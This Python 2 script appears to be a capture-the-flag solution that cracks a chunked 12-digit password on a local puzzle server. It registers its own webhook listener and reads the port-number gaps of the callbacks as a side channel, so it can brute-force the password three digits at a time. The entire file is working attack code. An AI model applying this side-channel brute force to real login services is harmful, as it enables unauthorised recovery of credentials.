Chunker.py

import json
import requests
import socket

oldPort = newPort = firstChunk = secondChunk = thirdChunk = fourthChunk = 0
port = 50000

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(('', port))
s.listen(0)

def checkPassword(password):
    return requests.post(
        'http://127.0.0.1:30000',
        data=json.dumps(
            {
                "password": password,
                "webhooks": [
                    "127.0.0.1:%d" % (port)
                ]
            }
        )
    )

def getPort():
    global newPort
    conn, (addr, newPort) = s.accept()
    conn.shutdown(socket.SHUT_RDWR)
    conn.close()

def calculateFirstChunk(start = 0):
    global oldPort
    global newPort
    chunk = start
    while chunk < 1000:
        password = '%03d000000000' % chunk
        checkPassword(password)

        getPort()

        if newPort - oldPort == 4:
            return chunk
        else:
            if newPort - oldPort == 3: chunk = chunk + 1
            oldPort = newPort


def calculateSecondChunk(start = 0):
    global oldPort
    global newPort
    chunk = start
    while chunk < 1000:
        password = '%03d%03d000000' % (firstChunk, chunk)
        checkPassword(password)

        getPort()

        if newPort - oldPort == 5:
            return chunk
        elif newPort - oldPort == 3:
            return None
        else:
            if newPort - oldPort == 4: chunk = chunk + 1
            oldPort = newPort


def calculateThirdChunk(start = 0):
    global oldPort
    global newPort
    chunk = start
    while chunk < 1000:
        password = '%03d%03d%03d000' % (firstChunk, secondChunk, chunk)
        checkPassword(password)

        getPort()

        if newPort - oldPort == 6:
            return chunk
        elif newPort - oldPort == 4:
            return None
        else:
            if newPort - oldPort == 5: chunk = chunk + 1
            oldPort = newPort


def calculateFourthChunk(start = 0):
    global oldPort
    global newPort
    chunk = start
    while chunk < 1000:
        password = '%03d%03d%03d%03d' % (firstChunk, secondChunk, thirdChunk, chunk)
        checkPassword(password)

        conn, (addr, newPort) = s.accept()

        if 'true' in conn.recv(256):
            conn.shutdown(socket.SHUT_RDWR)
            conn.close()
            return chunk
        elif newPort - oldPort == 5:
            conn.shutdown(socket.SHUT_RDWR)
            conn.close()
            return None
        else:
            conn.shutdown(socket.SHUT_RDWR)
            conn.close()
            if newPort - oldPort == 6: chunk = chunk + 1
            oldPort = newPort


firstChunk = calculateFirstChunk()
secondChunk = calculateSecondChunk()
while secondChunk is None:
    firstChunk = calculateFirstChunk(firstChunk)
    secondChunk = calculateSecondChunk()
print firstChunk
thirdChunk = calculateThirdChunk()
while thirdChunk is None:
    secondChunk = calculateSecondChunk(secondChunk)
    thirdChunk = calculateThirdChunk()
print secondChunk
fourthChunk = calculateFourthChunk()
while fourthChunk is None:
    thirdChunk = calculateThirdChunk(thirdChunk)
    fourthChunk = calculateFourthChunk()
print thirdChunk
print fourthChunk